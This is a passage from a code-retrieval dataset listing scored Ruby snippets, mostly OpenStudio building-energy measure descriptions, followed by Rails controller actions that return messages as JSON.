"text": "def modeler_description\n return 'Any generators, inverters, or electric load center distribution objects are removed. An electric load center distribution object is created, along with pvwatts generator and inverter objects. The generator is added to the electric load center distribution object and the inverter is set.'\n end",
"title": ""
},
{
"docid": "4b32b56cfaf85fe254ff95855ea45c11",
"score": "0.69735825",
"text": "def modeler_description\n return \"Shared walls are assigned adiabatic constructions.\"\n end",
"title": ""
},
{
"docid": "e5f0c17ab911622a5d1cddda776b30e9",
"score": "0.6963208",
"text": "def modeler_description\n return \"TBD\"\n end",
"title": ""
},
{
"docid": "e5f0c17ab911622a5d1cddda776b30e9",
"score": "0.6963208",
"text": "def modeler_description\n return \"TBD\"\n end",
"title": ""
},
{
"docid": "669d046a502d557f48c02e73e13595a1",
"score": "0.69622934",
"text": "def modeler_description\n return 'Initially this was intended for stub space types, but it is possible that it will be run on models tha talready have internal loads, schedules, or constructions that should be preserved. Set it up to support addition at later date of bool args to skip specific types of model elements.'\n end",
"title": ""
},
{
"docid": "aa89363856bf75ca715c6fe0beeddbaa",
"score": "0.695447",
"text": "def modeler_description\n return 'Add a fan air speed actuator and it available to Alfalfa by following appropriate conventions'\n end",
"title": ""
},
{
"docid": "7ebf468cf825495f48274d34d6d839d5",
"score": "0.6947733",
"text": "def modeler_description\n return \"Change gas burner efficiency.\"\n end",
"title": ""
},
{
"docid": "fa9ade977b167cdb8029df49ad20ec4a",
"score": "0.6935559",
"text": "def modeler_description\n return \"Change chiller COP.\"\n end",
"title": ""
},
{
"docid": "3b3f4e7603ad281f283ec47ceddd20f9",
"score": "0.69263554",
"text": "def modeler_description\n return \"This is intended to run on an empty model. It will create the proper model associate it with the proper weather file, and add in necessary output requests. Internally to the measure the test case argument will be mapped to the proper inputs needed to assemble the model. The measure will make some objects on the fly, other objects will be pulled from existing data resources. This measure creates cases described all of section 5.2 except for section 5.2.4 - Ground-Coupled Slab-on-Grade Analytical Verification Tests.\"\n end",
"title": ""
},
{
"docid": "940ffa554932a780164194c1c3e5de02",
"score": "0.69129723",
"text": "def modeler_description\r\n return \"EMS:GlobalVariable; EMS:Subroutine; EMS:Program; EMS:ProgramCallingManager; EMS:OutputVariable; and Output:Variable \"\r\n end",
"title": ""
},
{
"docid": "8eb1233bde2d58b845be0ff8219dde9a",
"score": "0.6908106",
"text": "def modeler_description\n return \"It will be used for calibration of rated capacity and COP. User can choose between a Two coil or ALL the Coils.\"\n end",
"title": ""
},
{
"docid": "faaf58631960e3220230acae1b6a7a69",
"score": "0.6907654",
"text": "def modeler_description\n return 'Adjusts the efficiency of PTAC units.'\n end",
"title": ""
},
{
"docid": "0080d1426a2bfa302a931a7a8941e201",
"score": "0.6901907",
"text": "def modeler_description\n return \"This is intended to run on an empty model. It will create the proper model associate it with the proper weather file, and add in necessary output requests. Internally to the measure the test case argument will be mapped to the proper inputs needed to assemble the model. The measure will make some objects on the fly, other objects will be pulled from existing data resources. This measure creates cases described all of section 5.3.\"\n end",
"title": ""
},
{
"docid": "17cb091dc55cdc9ec2ce27d6f0efc14d",
"score": "0.69018376",
"text": "def modeler_description\n return 'The measure works by cloning objects in from an external file into the current IDF file. Change functionality by changing the resource files. This measure may also adjust the simulation timestep.'\n end",
"title": ""
},
{
"docid": "74f2be8baa012d2aa0cfe83f4e6b96cd",
"score": "0.6879678",
"text": "def modeler_description\n 'It will be used for calibration of rated capacity and efficiency and parasitic loads. User can choose between a SINGLE coil or ALL the Coils.'\n end",
"title": ""
},
{
"docid": "eade7b4cf12d3182c05e2ff6ee7208d4",
"score": "0.6871451",
"text": "def modeler_description\n return \"Change boiler thermal efficiency.\"\n end",
"title": ""
},
{
"docid": "fdd241b79e2090d136330499e773b438",
"score": "0.6865241",
"text": "def modeler_description\r\n return \"\"\r\n end",
"title": ""
},
{
"docid": "d3beaf443931cf1784a8bd986714566c",
"score": "0.6861391",
"text": "def modeler_description\n return 'This can be run across a space type or the entire building. Costs will be associated with the building. If infiltration objects are removed at a later date, the costs will remain.'\n end",
"title": ""
},
{
"docid": "11ba029aac23f629b4d6d19d9f7aac73",
"score": "0.68588334",
"text": "def modeler_description\n return \"Reads the model and sql file to pull out the necessary information and run the model checks. The check results show up as warning messages in the measure's output on the PAT run tab.\"\n end",
"title": ""
},
{
"docid": "a5bc4ee9cc62d2410b569b9257927170",
"score": "0.6858328",
"text": "def modeler_description\n return \"This measure loops through the existing airloops, looking for loops that have outdoor airsystems with economizers\"\n end",
"title": ""
},
{
"docid": "5b19a7efb17fa8b2806ecd0d2ed79e58",
"score": "0.6852012",
"text": "def modeler_description\n return \"\"\n end",
"title": ""
},
{
"docid": "5b19a7efb17fa8b2806ecd0d2ed79e58",
"score": "0.6852012",
"text": "def modeler_description\n return \"\"\n end",
"title": ""
},
{
"docid": "5b19a7efb17fa8b2806ecd0d2ed79e58",
"score": "0.6852012",
"text": "def modeler_description\n return \"\"\n end",
"title": ""
},
{
"docid": "5b19a7efb17fa8b2806ecd0d2ed79e58",
"score": "0.6852012",
"text": "def modeler_description\n return \"\"\n end",
"title": ""
},
{
"docid": "5b19a7efb17fa8b2806ecd0d2ed79e58",
"score": "0.6852012",
"text": "def modeler_description\n return \"\"\n end",
"title": ""
},
{
"docid": "5b19a7efb17fa8b2806ecd0d2ed79e58",
"score": "0.6852012",
"text": "def modeler_description\n return \"\"\n end",
"title": ""
},
{
"docid": "5b19a7efb17fa8b2806ecd0d2ed79e58",
"score": "0.6852012",
"text": "def modeler_description\n return \"\"\n end",
"title": ""
},
{
"docid": "5b19a7efb17fa8b2806ecd0d2ed79e58",
"score": "0.6852012",
"text": "def modeler_description\n return \"\"\n end",
"title": ""
},
{
"docid": "5b19a7efb17fa8b2806ecd0d2ed79e58",
"score": "0.6852012",
"text": "def modeler_description\n return \"\"\n end",
"title": ""
},
{
"docid": "5b19a7efb17fa8b2806ecd0d2ed79e58",
"score": "0.6852012",
"text": "def modeler_description\n return \"\"\n end",
"title": ""
},
{
"docid": "5b19a7efb17fa8b2806ecd0d2ed79e58",
"score": "0.6852012",
"text": "def modeler_description\n return \"\"\n end",
"title": ""
},
{
"docid": "5b19a7efb17fa8b2806ecd0d2ed79e58",
"score": "0.6852012",
"text": "def modeler_description\n return \"\"\n end",
"title": ""
},
{
"docid": "539e94e0ab56fa36438b654d3101f71d",
"score": "0.68355316",
"text": "def modeler_description\r\n return \"This measure needs the percentage of outside air damper of economizer, which is applied to the compact schedule. \"\r\n end",
"title": ""
},
{
"docid": "60482ba3f25416780bc92e80ff773750",
"score": "0.68252575",
"text": "def modeler_description\n 'It will be used for calibration of space and spaceType loads as well as infiltration, and outdoor air. User can choose between a SINGLE SpaceType or ALL the SpaceTypes as well as a SINGLE Space or ALL the Spaces.'\n end",
"title": ""
},
{
"docid": "60482ba3f25416780bc92e80ff773750",
"score": "0.68252575",
"text": "def modeler_description\n 'It will be used for calibration of space and spaceType loads as well as infiltration, and outdoor air. User can choose between a SINGLE SpaceType or ALL the SpaceTypes as well as a SINGLE Space or ALL the Spaces.'\n end",
"title": ""
},
{
"docid": "61a311712ee6c07241bac1809596c519",
"score": "0.6824158",
"text": "def modeler_description\n return \"It will be used for calibration of rated capacity and efficiency and parasitic loads. User can choose between a SINGLE coil or ALL the Coils.\"\n end",
"title": ""
},
{
"docid": "7f602c615bcfee5ffa270a2620eb16cb",
"score": "0.6818357",
"text": "def modeler_description\n return \"It will be used for calibration maximum flow rate, efficiency, pressure rise and motor efficiency. User can choose between a SINGLE Fan or ALL the Fans.\"\n end",
"title": ""
},
{
"docid": "3c8df2b5d4e1edc79d746dce3168a6b4",
"score": "0.6813569",
"text": "def modeler_description\n return 'This measure loops through the existing airloops, looking for loops that have outdoor airsystems with economizers'\n end",
"title": ""
},
{
"docid": "4918dc4b2374675a58bc31fde2d28895",
"score": "0.6791062",
"text": "def modeler_description\n 'It will be used for calibration maximum flow rate, efficiency, pressure rise and motor efficiency. User can choose between a SINGLE Fan or ALL the Fans.'\n end",
"title": ""
},
{
"docid": "a5de0afa97068b05ba63db039f1fff63",
"score": "0.6789327",
"text": "def modeler_description\n return \"I think that you will like this one.\"\n end",
"title": ""
},
{
"docid": "a42c5217877c7d6f2b877545976f4891",
"score": "0.67879057",
"text": "def modeler_description\n return ''\n end",
"title": ""
},
{
"docid": "a42c5217877c7d6f2b877545976f4891",
"score": "0.67879057",
"text": "def modeler_description\n return ''\n end",
"title": ""
},
{
"docid": "a42c5217877c7d6f2b877545976f4891",
"score": "0.67879057",
"text": "def modeler_description\n return ''\n end",
"title": ""
},
{
"docid": "a42c5217877c7d6f2b877545976f4891",
"score": "0.67879057",
"text": "def modeler_description\n return ''\n end",
"title": ""
},
{
"docid": "a42c5217877c7d6f2b877545976f4891",
"score": "0.67879057",
"text": "def modeler_description\n return ''\n end",
"title": ""
},
{
"docid": "a42c5217877c7d6f2b877545976f4891",
"score": "0.67879057",
"text": "def modeler_description\n return ''\n end",
"title": ""
},
{
"docid": "a42c5217877c7d6f2b877545976f4891",
"score": "0.67879057",
"text": "def modeler_description\n return ''\n end",
"title": ""
},
{
"docid": "a42c5217877c7d6f2b877545976f4891",
"score": "0.67879057",
"text": "def modeler_description\n return ''\n end",
"title": ""
},
{
"docid": "a42c5217877c7d6f2b877545976f4891",
"score": "0.67879057",
"text": "def modeler_description\n return ''\n end",
"title": ""
},
{
"docid": "a42c5217877c7d6f2b877545976f4891",
"score": "0.67879057",
"text": "def modeler_description\n return ''\n end",
"title": ""
},
{
"docid": "a42c5217877c7d6f2b877545976f4891",
"score": "0.67879057",
"text": "def modeler_description\n return ''\n end",
"title": ""
},
{
"docid": "a42c5217877c7d6f2b877545976f4891",
"score": "0.67879057",
"text": "def modeler_description\n return ''\n end",
"title": ""
},
{
"docid": "a42c5217877c7d6f2b877545976f4891",
"score": "0.67879057",
"text": "def modeler_description\n return ''\n end",
"title": ""
},
{
"docid": "a42c5217877c7d6f2b877545976f4891",
"score": "0.67879057",
"text": "def modeler_description\n return ''\n end",
"title": ""
},
{
"docid": "a42c5217877c7d6f2b877545976f4891",
"score": "0.67879057",
"text": "def modeler_description\n return ''\n end",
"title": ""
},
{
"docid": "76a2e29cef53fd46a878fa7ed782ff73",
"score": "0.67866033",
"text": "def modeler_description\n return \"Set heat pump cooling coil gross rated COP.\"\n end",
"title": ""
},
{
"docid": "a32cbd606c124606cdb95da93f6febce",
"score": "0.67786974",
"text": "def modeler_description\r\n return \"This measure replaces the 'Fraction Radiant' of all lights, equipment and people in the model with values that you specify.\"\r\n end",
"title": ""
},
{
"docid": "47b5f6729f2045d862eeb4b06c7ddec2",
"score": "0.67770773",
"text": "def modeler_description\n return \"Once I figure out what kind of component I'll rename and update the description, will probably \"\n end",
"title": ""
},
{
"docid": "8f96c14b0e0538effaca65e2f656d37c",
"score": "0.6775527",
"text": "def modeler_description\n 'Measure looks at consumption for electricity and natural gas, and demand for electricity. It is inteneded to be used with no more than one gas an electric bills. Each bill can have multiple billing periods. Make sure ot use an AMY matching the utility data time frame.'\n end",
"title": ""
},
{
"docid": "16660921e758f1ca4f36e0512e471ba4",
"score": "0.6763209",
"text": "def modeler_description\n return 'To enable the visual KPIs calculation, please make sure there are daylighting sensors objects in the space(s). To enable the thermal KPIs calculation, please make sure the thermal comfort model type is defined for the OS:People:Definition object. To enable air quality KPIs calculation, please make sure there are ZoneAirContaminationBalance object in the model and an associated outdoor air CO2 concentration schedule.'\n end",
"title": ""
},
{
"docid": "c9ad2cf106d28f660a38fd55164eb7f0",
"score": "0.67495733",
"text": "def modeler_description\n return 'The model in this case used a water heater mixed as a place holder. This measure will take a string argument, and will replace the water heater with a new thermal storage chilled water object.'\n end",
"title": ""
},
{
"docid": "b851b98b0a5d60c8c9e429f9d2e07c9b",
"score": "0.6744931",
"text": "def modeler_description\n return 'First gets all building detailed fenestration surfaces. Loops over all detailed fenestration surfaces and checks to see if the surface type is a window. If the surface type is a window then it gets the then get the construction name. With the construction name it determines the simple glazing system object name. With the simple glazing system object name it modifies the U-Value, SHGC, and VLT accordingly.'\n end",
"title": ""
},
{
"docid": "30491466990207fa013882da1cea5909",
"score": "0.6744005",
"text": "def modeler_description\n return \"It will be used for calibration of WaterHeaterMixed. User can choose between a SINGLE WaterHeaterMixed or ALL the WaterHeaterMixed objects.\"\n end",
"title": ""
},
{
"docid": "e49334e630b998da802d0d5c00fee6fe",
"score": "0.67369616",
"text": "def humanize\n \"#{name} (#{other_attributes.values.join(' ')}) [#{@model}]\"\n end",
"title": ""
},
{
"docid": "c6fd4bea6030965af46c6d36640cf066",
"score": "0.6735373",
"text": "def modeler_description\n return \"This measure will remove any existing infiltration objects (OS:SpaceInfiltration:DesignFlowRate and OS:SpaceInfiltration:EffectiveLeakageArea). Every zone will then get two OS:SpaceInfiltration:DesignFlowRate objects that add infiltration using the 'Flow per Exterior Surface Area' input option, one infiltration object when the HVAC system is on and one object when the HVAC system is off. The method assumes that HVAC operation is set by a schedule, though it may not reflect actual simulation/operation when fan operation may depend on internal loads and temperature setpoints. By default, interior zones will receive no infiltration. The user may enter a design building envelope airtightness at a specific design pressure, and whether the design value represents a 4-sided, 5-sided, or 6-sided normalization. By default, the measure assumes an airtightness design value of 13.8 (m^3/h-m^2) at 75 Pa. The measure assumes that infiltration is evenly distributed across the entire building envelope, including the roof. The user may select the HVAC system operating schedule in the model, or infer it based on the availability schedule of the air loop that serves the largest amount of floor area. The measure will make a copy of the HVAC operating schedule, 'Infiltration HVAC On Schedule', which is used with the HVAC on infiltration correlations. The measure will also make an 'Infiltration HVAC Off Schedule' with inverse operation, used with the HVAC off infiltration correlations. OS:SpaceInfiltration:DesignFlowRate object coefficients (A, B, C, and D) come from Ng et al. (2018). The user may select the Building Type and Climate Zone, or the measure will infer them from the model.\"\n end",
"title": ""
},
{
"docid": "8108aab315a19f51a3f83d25d51fb889",
"score": "0.6735071",
"text": "def modeler_description\n return 'The floating head pressure control can be simulated in EnergyPlus by reducing the minimum condenser temperature in each refrigeration system object from 26.7°C to 15.6°C, and by switching from constant-speed control of the air-cooled refrigeration condensers to variable-speed control.'\n end",
"title": ""
},
{
"docid": "4a77c33e0d4ce380012689e99c9804c5",
"score": "0.6726575",
"text": "def modeler_description\r\n return \"set a global heating sizing factor and a global cooling sizing factor for calculating zone design heating and cooling loads\"\r\n end",
"title": ""
},
{
"docid": "76f74cefdea8e6dd2edda6a4fdc47936",
"score": "0.67260253",
"text": "def modeler_description\r\n return \"The measure use non optimal algoritem to represent Compact schedule as Ruleset schedule. if present Type Limits and summer and winter design day s are exported to the ruleset schedule.\"\r\n end",
"title": ""
},
{
"docid": "d79537db2342e17a1cae5b431b995f84",
"score": "0.67246467",
"text": "def modeler_description\n 'This measure adds the necessary components and performs required model articulations to add an ice ' \\\n 'thermal storage tank (ITS) to an existing chilled water loop. Special consideration is given to ' \\\n 'implementing configuration and control options. Refer to the ASHRAE CTES Design Guide or manufacturer ' \\\n 'applications guides for detailed implementation info. A user guide document is included in the docs ' \\\n 'folder of this measure to help translate design objectives into measure argument input values.'\n end",
"title": ""
},
{
"docid": "ffac2a1c653c1af3e8ec24614b214c1d",
"score": "0.6718431",
"text": "def modeler_description\n return \"Set heat pump heating coil gross rated COP.\"\n end",
"title": ""
},
{
"docid": "dea4a266036109dc3980df4a78a2d5c8",
"score": "0.6712084",
"text": "def inspect\n head = \"#<#{ self.class.name } model=#{ @model.inspect }\"\n\n if @strategy_used\n \"#{ head } order=#{ @order } strategy_used=#{ @strategy_used }>\"\n else\n \"#{ head } (not calculated)>\"\n end\n end",
"title": ""
},
{
"docid": "8185d8ccdbf55e1744780531d0899bf3",
"score": "0.6707987",
"text": "def modeler_description\n return 'Adjusts the efficiency of split system air-source heat pump units.'\n end",
"title": ""
},
{
"docid": "c9a519b8ad32d0a9cfd3e7f6324a330b",
"score": "0.67072225",
"text": "def modeler_description\n return \"This EEM replaces the elevator lighting definition from the baseline value (assumed to coincide with 88 W/elevator cab, or 3.14 W/ft^2) to one representing 100% high-efficacy fixtures, with an effective lighting power of 32 W/elevator cab. The measure identifies the electric equipment load definition whose name includes the words elevator lights and replaces that definition with a new one meeting the high efficacy lighting power. Instance multipliers are applied as per the original load.\"\n end",
"title": ""
},
{
"docid": "4b025ac9a5b29e559aedecb3b1b903cf",
"score": "0.67046374",
"text": "def modeler_description\n return 'Makes Output:Diagnostics object with choice list for optional values:, DisplayAllWarnings, DisplayExtraWarnings, DisplayUnusedSchedules, DisplayUnusedObjects, DisplayAdvancedReportVariables, DisplayZoneAirHeatBalanceOffBalance, DoNotMirrorDetachedShading, DisplayWeatherMissingDataWarnings, ReportDuringWarmup, ReportDetailedWarmupConvergence.'\n end",
"title": ""
},
{
"docid": "4b025ac9a5b29e559aedecb3b1b903cf",
"score": "0.67046374",
"text": "def modeler_description\n return 'Makes Output:Diagnostics object with choice list for optional values:, DisplayAllWarnings, DisplayExtraWarnings, DisplayUnusedSchedules, DisplayUnusedObjects, DisplayAdvancedReportVariables, DisplayZoneAirHeatBalanceOffBalance, DoNotMirrorDetachedShading, DisplayWeatherMissingDataWarnings, ReportDuringWarmup, ReportDetailedWarmupConvergence.'\n end",
"title": ""
},
{
"docid": "875456122220b1727c05405e38554cfe",
"score": "0.67037857",
"text": "def modeler_description\n return 'https://github.com/NREL/OpenStudio/issues/864'\n end",
"title": ""
},
{
"docid": "b023ed5e575469042351e257f5675c61",
"score": "0.6703047",
"text": "def modeler_description\n return \"Create output tables and CSV files to help users complete the information required for LEED submittals. Based on the v4_Minimum Energy Performance Calculator_v04.xlsm spreadsheet used by USGBC. \"\n end",
"title": ""
}
] |
c7580d53c7155c18682aa12f95a627a1 | GET /offer_messages/1 GET /offer_messages/1.json | [
{
"docid": "fc27406fe7c1055538ea84241f8ecac7",
"score": "0.7640557",
"text": "def show\n @offer_message = OfferMessage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @offer_message }\n end\n end",
"title": ""
}
] | [
{
"docid": "04c5087dda9ed62686e3638ddca24357",
"score": "0.72209543",
"text": "def new\n @offer_message = OfferMessage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @offer_message }\n end\n end",
"title": ""
},
{
"docid": "ea7086ff90058b90c171a0d36a56b3ff",
"score": "0.6756556",
"text": "def show\n @message = User.find(params[:id]).messages\n\n render json: @message\n end",
"title": ""
},
{
"docid": "454f764c34094075449327debf1d2cf5",
"score": "0.67237234",
"text": "def show\n @message_receiver = MessageReceiver.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @message_receiver }\n end\n end",
"title": ""
},
{
"docid": "7106eb8238030fb0e5e14c6828587bb4",
"score": "0.67093515",
"text": "def show\n @message = Message.find(params[:id])\n\n render json: @message\n end",
"title": ""
},
{
"docid": "7106eb8238030fb0e5e14c6828587bb4",
"score": "0.67093515",
"text": "def show\n @message = Message.find(params[:id])\n\n render json: @message\n end",
"title": ""
},
{
"docid": "7106eb8238030fb0e5e14c6828587bb4",
"score": "0.67093515",
"text": "def show\n @message = Message.find(params[:id])\n\n render json: @message\n end",
"title": ""
},
{
"docid": "a12c61b3b3c265e07d2d0d910c485462",
"score": "0.6702985",
"text": "def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message.json_string }\n end\n end",
"title": ""
},
{
"docid": "df2045abd8b2acaabd96de537702de3a",
"score": "0.6701715",
"text": "def show\r\n\t\t@message = Message.find(params[:id])\r\n\t\trender :json => {:message => @message}.to_json()\r\n\tend",
"title": ""
},
{
"docid": "01d640eaab3a1942727bd3c46448dee5",
"score": "0.6687356",
"text": "def show\n msg = @user.messages.find(params[:id])\n if msg.nil?\n render json_status_response(404, \"Message not found\")\n return\n end\n\n render :status => 200,\n :json => msg_as_hash(msg).merge(status: 200)\n end",
"title": ""
},
{
"docid": "583503392b6de95f980316674d2735fc",
"score": "0.6679962",
"text": "def show\n message = Message.find_by rsaid: params[:id], id: params[:msgid];\n respond_to do |format|\n format.json {render json: {'message' => message.message}}\n end\n end",
"title": ""
},
{
"docid": "314184128d7205fd50197e1d0ee6208e",
"score": "0.6674467",
"text": "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message_request }\n end\n end",
"title": ""
},
{
"docid": "8575df883c70380b7464324d50b64681",
"score": "0.66480917",
"text": "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @message_request }\n end\n end",
"title": ""
},
{
"docid": "d327b34402dd1a391d07662379fec215",
"score": "0.66461366",
"text": "def show\n message = Message.find_by(id: params[:id])\n render json: message\n end",
"title": ""
},
{
"docid": "4bfe8529a1b3ffaa349306800da080a1",
"score": "0.663672",
"text": "def show \n message = Message.find(params[:id])\n render json: message\n end",
"title": ""
},
{
"docid": "83160aa83077860adcf302e6cac74ca9",
"score": "0.66323364",
"text": "def show\n @message = Message.find(params[:id])\n\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message }\n end\n end",
"title": ""
},
{
"docid": "951800ccd5761ed3eb4d5c3ff36a8c67",
"score": "0.66296846",
"text": "def show\r\n @message = message.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @message }\r\n end\r\n end",
"title": ""
},
{
"docid": "70e25b1ecdf24172df6620ecfc8b4d8a",
"score": "0.6619872",
"text": "def show\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message_list }\n end\n end",
"title": ""
},
{
"docid": "1f84fa1233c77e69b1ccd9e28709c4e1",
"score": "0.66185284",
"text": "def show\n @message = Message.find_by id: params[:id]\n\n respond_to do |format|\n format.html {}\n format.json { render json: @message }\n end\n\n end",
"title": ""
},
{
"docid": "dd4ee6557cc4404a4c0212bf2f70f49e",
"score": "0.66146743",
"text": "def show\n render :json => Message.find(params[:id])\n end",
"title": ""
},
{
"docid": "d90cbe6f9045b622996e3eea44cdbfdc",
"score": "0.6585078",
"text": "def show\n\t\t@messages = Message.where(recipient: params[:id]).order('created_at DESC')\n\n\t\trespond_to do |format|\n\t\t\tformat.html\n\t\t\tformat.json { render json: @messages }\n\t\tend\n\tend",
"title": ""
},
{
"docid": "60aa07ba18cdd5cb89d6b048c7b9fcb7",
"score": "0.65802556",
"text": "def show\n @message = @user.messages.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @message }\n end\n end",
"title": ""
},
{
"docid": "dbc96cdcfe96d0a5cfff134d321e521f",
"score": "0.6576012",
"text": "def messages\n get_data('/messages')\n end",
"title": ""
},
{
"docid": "382dfefeb36bfd8dd92c7d2553410116",
"score": "0.6570366",
"text": "def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message }\n end\n end",
"title": ""
},
{
"docid": "382dfefeb36bfd8dd92c7d2553410116",
"score": "0.6570366",
"text": "def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message }\n end\n end",
"title": ""
},
{
"docid": "382dfefeb36bfd8dd92c7d2553410116",
"score": "0.6570366",
"text": "def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message }\n end\n end",
"title": ""
},
{
"docid": "382dfefeb36bfd8dd92c7d2553410116",
"score": "0.6570366",
"text": "def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message }\n end\n end",
"title": ""
},
{
"docid": "382dfefeb36bfd8dd92c7d2553410116",
"score": "0.6570366",
"text": "def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message }\n end\n end",
"title": ""
},
{
"docid": "382dfefeb36bfd8dd92c7d2553410116",
"score": "0.6570366",
"text": "def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message }\n end\n end",
"title": ""
},
{
"docid": "382dfefeb36bfd8dd92c7d2553410116",
"score": "0.6570366",
"text": "def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message }\n end\n end",
"title": ""
},
{
"docid": "382dfefeb36bfd8dd92c7d2553410116",
"score": "0.6570366",
"text": "def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message }\n end\n end",
"title": ""
},
{
"docid": "382dfefeb36bfd8dd92c7d2553410116",
"score": "0.6570366",
"text": "def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message }\n end\n end",
"title": ""
},
{
"docid": "382dfefeb36bfd8dd92c7d2553410116",
"score": "0.6570366",
"text": "def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message }\n end\n end",
"title": ""
},
{
"docid": "382dfefeb36bfd8dd92c7d2553410116",
"score": "0.6570366",
"text": "def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message }\n end\n end",
"title": ""
},
{
"docid": "382dfefeb36bfd8dd92c7d2553410116",
"score": "0.6570366",
"text": "def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message }\n end\n end",
"title": ""
},
{
"docid": "382dfefeb36bfd8dd92c7d2553410116",
"score": "0.6570366",
"text": "def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message }\n end\n end",
"title": ""
},
{
"docid": "382dfefeb36bfd8dd92c7d2553410116",
"score": "0.6570366",
"text": "def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message }\n end\n end",
"title": ""
},
{
"docid": "382dfefeb36bfd8dd92c7d2553410116",
"score": "0.6570366",
"text": "def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message }\n end\n end",
"title": ""
},
{
"docid": "382dfefeb36bfd8dd92c7d2553410116",
"score": "0.6570366",
"text": "def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message }\n end\n end",
"title": ""
},
{
"docid": "382dfefeb36bfd8dd92c7d2553410116",
"score": "0.6570366",
"text": "def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message }\n end\n end",
"title": ""
},
{
"docid": "382dfefeb36bfd8dd92c7d2553410116",
"score": "0.6570366",
"text": "def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message }\n end\n end",
"title": ""
},
{
"docid": "b6a88fb471e41dd40aae95a97f6fd1cb",
"score": "0.65672636",
"text": "def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message }\n end\n end",
"title": ""
},
{
"docid": "5424309524919e21ec1eb7b0d2c7958a",
"score": "0.6566448",
"text": "def index\n @messages = @conversation.messages\n render json: @messages\n end",
"title": ""
},
{
"docid": "0b4f25489df2012389c485ee07a90205",
"score": "0.6546841",
"text": "def show\n if @message\n render json: @message.as_json(only: %i[id body media_id send_at created_at updated_at], methods: [:next_send_at, :current_status, :recipients])\n else\n render json: {\n errors: Stitches::Errors.from_active_record_object(@message)\n }, status: 422\n end\n end",
"title": ""
},
{
"docid": "d9e19027d5784f1e96a56741eb98f32c",
"score": "0.65354204",
"text": "def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @message }\n end\n end",
"title": ""
},
{
"docid": "d9e19027d5784f1e96a56741eb98f32c",
"score": "0.65354204",
"text": "def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @message }\n end\n end",
"title": ""
},
{
"docid": "d9e19027d5784f1e96a56741eb98f32c",
"score": "0.65354204",
"text": "def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @message }\n end\n end",
"title": ""
},
{
"docid": "d9e19027d5784f1e96a56741eb98f32c",
"score": "0.65354204",
"text": "def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @message }\n end\n end",
"title": ""
},
{
"docid": "5703ccfb9c814220af7ac5e4a28c7bbe",
"score": "0.6518498",
"text": "def show\n @message = Message.find(params[:id])\n respond_to do |format|\n format.html { render :show }\n format.json { render json: @message}\n end\n end",
"title": ""
},
{
"docid": "8b25d278b901e8ffe4ce27618b0e2952",
"score": "0.6516967",
"text": "def index\n messages = Message.all\n render json: messages \n end",
"title": ""
},
{
"docid": "ecd0bf30f20ddad6d2ef77d39be41240",
"score": "0.65131503",
"text": "def show\n @message = current_user.received_messages.find(params[:id])\n @message.sm_read!\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @message }\n end\n end",
"title": ""
},
{
"docid": "c561f7c91458d30f4e57dfc724c22e8c",
"score": "0.6506469",
"text": "def show\n respond_to do |format|\n format.html\n format.json { render json: @message }\n end \n end",
"title": ""
},
{
"docid": "6adf50da9cffd4a113de20e5f2097fcd",
"score": "0.64609134",
"text": "def index\n @messages = Message.all\n\n render json: @messages\n end",
"title": ""
},
{
"docid": "6adf50da9cffd4a113de20e5f2097fcd",
"score": "0.64609134",
"text": "def index\n @messages = Message.all\n\n render json: @messages\n end",
"title": ""
},
{
"docid": "acceab1032c3ef27aaa36733104db4b3",
"score": "0.64170855",
"text": "def index\n @messages = Message.all\n\n\n render json: @messages\n\n end",
"title": ""
},
{
"docid": "601ed3ae324f6a66cd604c3159b05548",
"score": "0.6406725",
